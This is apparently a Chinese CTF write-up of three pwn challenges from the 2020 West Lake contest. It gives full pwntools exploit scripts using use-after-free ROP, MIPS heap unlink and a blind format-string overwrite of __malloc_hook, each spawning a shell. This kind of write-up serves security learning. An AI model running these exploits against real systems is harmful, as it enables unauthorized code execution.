2020西湖论剑线上赛及复现 Surager

2020西湖论剑PWN

前言

这次比赛是我第一次跟V&N的人组队打的一场比赛。队友是xmao和v0id。由于我比较菜,我们队伍没能晋级到线下赛。因此及时反思一下,并且复现一下比赛题目,进行学习。

已出

mmutag

一个UAF的漏洞。给了栈地址,并且有输入可以控制栈上数据,能泄露canary。直接malloc_to_stack进行常规ROP。

exp

from pwn import *
#io = process("./mmutag")
io = remote("183.129.189.62",59304)
elf = ELF("./mmutag")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
#context.log_level = 'debug'

def add(idx,con):
    io.sendlineafter("choise:",'1')
    io.sendlineafter("id:",str(idx))
    io.sendafter("content",con)

def free(idx):
    io.sendlineafter("choise:",'2')
    io.sendlineafter("id:",str(idx))

def myread(con):
    io.sendlineafter("choise:",'3')
    sleep(0.1)
    io.send(con)

rdi = 0x0000000000400d23

io.sendafter("name:",'asdf')
io.recvuntil("0x")
stack = int(io.recv(12),16)
log.info("stack : "+hex(stack))
io.sendlineafter("choice:",'2')
myread('a'*0x19)
io.recvuntil('a'*0x19)
canary = u64(io.recv(7).rjust(8,"\x00"))
log.info("canary : "+hex(canary))
myread("a"*0x10+p64(0x71))
add(1,'a')
add(2,'a')
free(1)
free(2)
free(1)
add(3,p64(stack-0x38))
add(4,p64(stack-0x38))
add(5,p64(stack-0x38))
payload = p64(canary)+p64(0)+p64(rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(0x400A99)
add(6,payload)
io.sendline("4")
libc_base = u64(io.recvuntil("\x7f")[-6:].ljust(8,'\x00'))-0x6f6a0
log.info("libc_base : "+hex(libc_base))
myread("a"*0x10+p64(0x71))
free(1)
free(2)
free(1)
add(7,p64(stack-0x18))
add(8,p64(stack-0x18))
add(9,p64(stack-0x18))
payload = p64(canary)+p64(0)+p64(rdi)+p64(libc.search('/bin/sh').next()+libc_base)+p64(libc.sym['system']+libc_base)
add(10,payload)

io.interactive()

妹出

managesystem

$ file pwn3
pwn3: ELF 32-bit LSB executable, MIPS, MIPS32 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
$ checksec pwn3
[*] '/Users/sunyingli/Downloads/2020westlake/pwn/managesystem/pwn3'
    Arch:     mips-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments

32位的mips堆题目,有点阴间。

但是查了查mips的堆之后,得到:mips的堆分配器是dlmalloc,而ptmalloc很大程度上是基于dlmalloc的。所以说简单的ptmalloc堆漏洞对于mips也适用。

调试的对策

在exp里面这么写:

io = process(['qemu-mipsel','-g','1234',"-L",'./','./pwn3'])

运行脚本之后等待gdb-multiarch连接,我们运行gdb-multiarch,输入target remote:1234。即可连接。

反汇编的对策

ida没有对mips的F5,所以我们选用ida和cutter同时使用的方法进行反汇编。

解法

最后在edit函数里面找到了堆溢出。明显有8字节的溢出。

 iVar1 = (*_read)(0, *(undefined4 *)(*(int32_t *)0x4117a8 + iStack12 * 8), 
                             *(int32_t *)(*(int32_t *)0x4117a8 + iStack12 * 8 + 4) + 8);

因为没有PIE,直接进行unlink

EXP

from pwn import *
io = process(['qemu-mipsel',"-L",'./','./pwn3'])
#io = remote("node3.buuoj.cn",26789)
libc = ELF("./lib/libc.so.0")
context.arch = 'mips'

def add(size,con):
    io.sendlineafter(">>",'1')
    io.sendlineafter("length:",str(size))
    io.sendafter("info:",con)

def free(idx):
    io.sendlineafter(">>",'2')
    io.sendlineafter("user:",str(idx))

def edit(idx,con):
    io.sendlineafter(">>",'3')
    io.sendlineafter("edit:",str(idx))
    io.sendafter("info:",con)

def show(idx):
    io.sendlineafter(">>",'4')
    io.sendlineafter("show:",str(idx))
    
def dbg():
    gdb.attach(io)
    pause()

note_list = 0x00411830

add(0x80,'asdf')
add(0x80,'asdf')
add(0x20,'/bin/shh\x00')
payload = p32(0)+p32(0x81)+p32(note_list-0xc)+p32(note_list-0x8)
payload += '\x00'*0x70
payload += p32(0x80)+p32(0x88)
edit(0,payload)
free(1)
payload = 'a'*0x8+p32(0x4117B4)+p32(4)
edit(0,payload)
show(0)
io.recvuntil("info: ")
libc_base = u32(io.recv(4))-libc.sym['free']
log.info("libc_base : "+hex(libc_base))
edit(0,p32(libc_base+libc.sym['system']))
free(2)
io.interactive()

noleakfmt

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  char v3; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v4; // [rsp+8h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  alarm(0x1Eu);
  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  printf("gift : %p\n", &v3);
  close(1);
  while ( 1 )
  {
    _isoc99_scanf("%100s", byte_201040);
    printf(byte_201040, byte_201040);
  }
}

因为有close(1)的存在,此题变得比较阴间。需要通过修改stdoutfileno为2才能进行输出,然后通过libc的指针得到shell。

def setnum1(tar,arg):
    payload = '%'+str(tar&0xffff)+"c%10$hn"
    io.sendline(payload)
    payload = '%'+str(arg)+"c%36$hhn"
    io.sendline(payload)

def setnum2(tar,arg):
    payload = '%'+str(tar&0xffff)+"c%11$hn"
    io.sendline(payload)
    payload = '%'+str(arg&0xffff)+"c%37$hn"
    io.sendline(payload)

第一步 需要修改printf的返回地址为_start,用以得到libc和stdout的指针。

stack = int(io.recv(12),16)
if (stack&0xffff) > 0x2000:
    io.close()
    continue
log.info("stack : "+hex(stack))
setnum2(stack-0xc,0x17b0)

此时栈上%26$p的位置已经有了stdout的地址,%9$p有libc的地址。

第二步 修改stdout+112为0x2,获得输出的机会。

setnum1(stack-0x54,0x90)
payload = '%'+str(2)+"c%26$hhn"
io.sendline(payload)
payload = '%8$p%9$p'
io.sendline(payload)
io.recvuntil("0x")
pie = int(io.recv(12),16)-0x990
io.recvuntil("0x")
libc_base = int(io.recv(12),16)-0x20840
log.info("pie : "+hex(pie))
log.info("libc_base : "+hex(libc_base))

这样,我们已经有了libc地址,pie地址,任意写的权限。接下来改__malloc_hookone_gadget,用%99999c触发他。

def setnum3(tar,arg):
    payload = '%'+str(tar&0xff)+"c%10$hhn"
    io.sendline(payload)
    payload = '%'+str(arg)+"c%36$hhn"
    io.sendline(payload)

payload = '%'+str((libc_base+libc.sym['__malloc_hook'])&0xff)+"c%36$hhn"
io.sendline(payload)
setnum3(stack-0x53,((libc_base+libc.sym['__malloc_hook'])>>8)&0xff)
one = libc_base+0xf1207
payload = '%'+str((stack-0x54)&0xff)+"c%10$hhn"
io.sendline(payload)
payload = '%'+str((one)&0xff)+"c%26$hhn"
io.sendline(payload)
payload = '%'+str((libc_base+libc.sym['__malloc_hook']+1)&0xff)+"c%36$hhn"
io.sendline(payload)
payload = '%'+str((one>>8)&0xff)+"c%26$hhn"
io.sendline(payload)
payload = '%'+str((libc_base+libc.sym['__malloc_hook']+2)&0xff)+"c%36$hhn"
io.sendline(payload)
payload = '%'+str((one>>16)&0xff)+"c%26$hhn"
io.sendline(payload)
io.sendline("%99999c")

这样就能得到shell了。

但是1号句柄还是error的,我们需要用重定向将1号句柄重定向到我们的2号有输出的句柄。

io.sendline("exec 1>&2")

成功。

exp

from pwn import *

#io = process("./noleakfmt")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
context.log_level = 'debug'
def setnum1(tar,arg):
    payload = '%'+str(tar&0xffff)+"c%10$hn"
    io.sendline(payload)
    payload = '%'+str(arg)+"c%36$hhn"
    io.sendline(payload)

def setnum2(tar,arg):
    payload = '%'+str(tar&0xffff)+"c%11$hn"
    io.sendline(payload)
    payload = '%'+str(arg&0xffff)+"c%37$hn"
    io.sendline(payload)

def setnum3(tar,arg):
    payload = '%'+str(tar&0xff)+"c%10$hhn"
    io.sendline(payload)
    payload = '%'+str(arg)+"c%36$hhn"
    io.sendline(payload)

while True:
    try:
        io = process("./noleakfmt")
        io.recvuntil("0x")
        stack = int(io.recv(12),16)
        if (stack&0xffff) > 0x2000:
            io.close()
            continue
        log.info("stack : "+hex(stack))
        setnum2(stack-0xc,0x17b0)
        setnum1(stack-0x54,0x90)
        payload = '%'+str(2)+"c%26$hhn"
        io.sendline(payload)
        payload = '%8$p%9$p'
        io.sendline(payload)
        io.recvuntil("0x")
        pie = int(io.recv(12),16)-0x990
        io.recvuntil("0x")
        libc_base = int(io.recv(12),16)-0x20840
        log.info("pie : "+hex(pie))
        log.info("libc_base : "+hex(libc_base))
        payload = '%'+str((libc_base+libc.sym['__malloc_hook'])&0xff)+"c%36$hhn"
        io.sendline(payload)
        setnum3(stack-0x53,((libc_base+libc.sym['__malloc_hook'])>>8)&0xff)
        one = libc_base+0xf1207
        payload = '%'+str((stack-0x54)&0xff)+"c%10$hhn"
        io.sendline(payload)
        payload = '%'+str((one)&0xff)+"c%26$hhn"
        io.sendline(payload)
        payload = '%'+str((libc_base+libc.sym['__malloc_hook']+1)&0xff)+"c%36$hhn"
        io.sendline(payload)
        payload = '%'+str((one>>8)&0xff)+"c%26$hhn"
        io.sendline(payload)
        payload = '%'+str((libc_base+libc.sym['__malloc_hook']+2)&0xff)+"c%36$hhn"
        io.sendline(payload)
        payload = '%'+str((one>>16)&0xff)+"c%26$hhn"
        io.sendline(payload)
        io.sendline("%99999c")
        io.sendline("exec 1>&2")
        io.interactive()
    except:
        io.close()
        continue

后记

有一个ezhttp,直接爆破,我本地写stdout失败了,没有复现成功。

总起来看,这几道题都不难。

我tcl。